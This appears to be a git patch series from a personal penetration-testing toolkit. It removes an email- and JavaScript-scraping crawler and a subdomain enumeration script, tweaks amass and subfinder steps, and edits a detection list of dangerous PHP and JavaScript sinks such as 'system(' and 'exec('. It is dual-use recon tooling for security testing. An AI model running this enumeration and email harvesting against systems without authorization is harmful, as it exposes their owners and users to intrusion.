already found set of javascript_files - ''' - javascript_files.update(set(re.findall( - r"[a-z0-9\.\-_]+\.js", http_response.text, re.IGNORECASE - ))) - return javascript_files - - -def parse_javascript_file(js_filename: str): - ''' - Parse JavaScript file for interesting stuff - ''' - TYPE = 'DEBUG' - print(f"[{TYPE}] parsing {js_filename} for interesting stuff...") - pass - - -def tear_off(): - ''' - Performs data extraction stage - ''' - for js_filename in javascript_files: - parse_javascript_file(js_filename) - - pass - - -def recon(emails: set, javascript_files: set): - ''' - Creates list of resources; some will be proceeded later in next - steps - ''' - user_url = str(input('[+] Enter Target URL To Scan: ')) - urls = deque([user_url]) - MAX_COUNT = 2 - - scraped_urls = set() - - count = 0 - - try: - ''' - main execution loop - ''' - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) - - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) - - path = url[:url.rfind('/') + 1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) - try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files( - javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) - except KeyboardInterrupt: - print('[-] Closing!') - - for mail in emails: - print(mail) - for url in urls: - print(url) - for js_file in javascript_files: - print(js_file) - - -if __name__ == "__main__": - emails = set() - javascript_files = set() - - # go through provided url; find emails, javascript files etc. - recon(emails, javascript_files) - - # extract sensitive and interesting information from what was found - tear_off() diff --git a/s0mbra.sh b/s0mbra.sh index 08d5a55..c10bbdb 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -675,6 +675,14 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# cat <<'-md-' +# # s0mbra.sh - Recon and pentest tool + +# This script is a collection of various tools and functions for reconnaissance, pentesting, and code analysis +# It provides functionalities for network scanning, web application testing, cloud storage enumeration, and more. + +# -md- + ### menu cmd=$1 diff --git a/subdomain_enum.sh b/subdomain_enum.sh deleted file mode 100644 index daea6b3..0000000 --- a/subdomain_enum.sh +++ /dev/null @@ -1,98 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## processing all outputed list of domains into one, removing dups -## and sorting -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' __domains | tr '#' '\n' > __domains.final - rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,302,403,500 - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log -} - - -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain in single line -DOMAINS=$1 - -# IP address range -CIDR=$2 - -echo -e "$(date) subdomain_enum.sh started" >> subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - From 128236f5078a140352a24d277febdcf0ee5e2035 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Sep 2025 19:03:08 +0100 Subject: [PATCH 286/289] [s0mbra] proper temp filenames to remove after scan is done --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c10bbdb..def71a4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,8 +234,8 @@ enum() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/sublister_$DOMAIN.log - rm -f $TMPDIR/subfinder.log + rm -f $TMPDIR/enum_amass.log + rm -f $TMPDIR/enum_subfinder.log rm -f $TMPDIR/amass.tmp # httpx From 94152adbd020988862e5156ca8113fc7a8329ffc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 10 Feb 2026 18:22:44 +0000 Subject: [PATCH 287/289] commented backticks --- pef/imports/pefdocs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 79b74a9..8395d59 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -22,7 +22,7 @@ "innerText", ], "php": [ - "`", + # "`", "system(", "exec(", "popen(", From 0a18ad474e2546b40c7d8df9e47f0353ffd7e077 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 14 Apr 2026 21:20:18 +0100 Subject: [PATCH 288/289] updates --- pef/imports/pefdocs.py | 11 ++++++++++- s0mbra.sh | 6 +++--- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 8395d59..a0efbfd 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -20,6 +20,7 @@ "Function(", "textContent", "innerText", + "URLSearchParams(", ], "php": [ # "`", @@ -253,7 +254,15 @@ "XSS, HTML Injection, Content Injection etc.", "medium", "sink" - ] + ], + "URLSearchParams": [ + "The URLSearchParams interface defines utility methods to work with the query string of a URL.", + "URLSearchParams()", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "source" + ], + }, "php": { "`": [ diff --git a/s0mbra.sh b/s0mbra.sh index def71a4..c42f9ce 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -218,9 +218,9 @@ enum() { echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" # amass passive enum - echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" - amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" - cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + # echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + # amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + # cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" From 4d3b58f491114ebae0a387eba58926b24d5fbe29 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Apr 2026 15:10:17 +0100 Subject: [PATCH 289/289] [s0mbra] update --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c42f9ce..17d618a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,10 +217,10 @@ enum() { DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - # amass passive enum - # echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" - # amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" - # cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n"